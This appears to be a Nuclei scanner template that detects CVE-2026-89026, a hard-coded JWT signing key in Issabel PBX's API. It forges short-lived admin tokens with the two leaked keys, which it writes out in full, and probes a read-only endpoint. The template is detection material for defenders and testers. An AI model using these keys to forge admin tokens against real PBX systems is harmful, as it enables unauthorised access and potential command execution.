Issabel Framework - Hard-Coded PBX API JWT Key

id: CVE-2026-89026

info:
  name: Issabel Framework - Hard-Coded PBX API JWT Key
  author: alex
  severity: critical
  description: |
    Issabel Framework before commit b97dbaf uses a shared HS256 key for PBX API bearer tokens. This template uses the read-only AMI ExtensionState action to check whether the PBX API accepts a short-lived token signed with either the vulnerable upstream-source key or the key in the 5.0.0-2 RPM, after rejecting an unrelated key.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands as the Asterisk user, potentially compromising the system.
  remediation: |
    Update to the version after commit b97dbaf or latest available version.
  reference:
    - https://github.com/IssabelFoundation/framework/commit/b97dbaf0b71c1c36f841e672b664afbeb02773bd
    - https://github.com/IssabelFoundation/firstboot/commit/74b28cab9a35
    - https://www.vulncheck.com/advisories/issabel-pbx-hard-coded-jwt-key-rce-via-pbxapi-manager-originate
    - https://nvd.nist.gov/vuln/detail/CVE-2026-89026
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-89026
    epss-score: 0.00685
    epss-percentile: 0.52071
    cwe-id: CWE-321
  metadata:
    max-request: 3
    vendor: issabel
    product: framework
  tags: cve,cve2026,issabel,pbx,jwt,auth-bypass,vuln,vkev

flow: http(1) && http(2)

variables:
  access_claims: '{"data":{"name":"admin"}}'
  control_key: "unrelated-lab-control-key-for-jwt-differential"

http:
  - raw:
      - |
        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{generate_jwt(access_claims,"HS256",control_key,unix_time(120))}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - status_code == 403
        internal: true

  - raw:
      - |
        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{generate_jwt(access_claims,"HS256",key,unix_time(120))}}
        Accept: application/json

    payloads:
      key:
        - "da893kasdfam43k29akdkfaFFlsdfhj23rasdf"
        - "YjViOTcxMWMzMDc5M2RkNDdiYTNkZDk1YTgyYjNjYzdhNTkwNTUwODk2MjU1YTE0"
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, '"Response":"Success"', '"Message":"Extension Status"', '"Exten":"1000"')
          - contains(content_type, "application/json")
          - status_code == 200
        condition: and
# digest: 4a0a00473045022100809aeacb63e9efa1dbce77102ca64798d4ba58b9b35b23c259c1bcb0d0fdc2b102207fb0f504cabc57d03e4490276967349ddfe85db23e4c6478e481f472111936c1:922c64590222798bb761d5b6d8e72950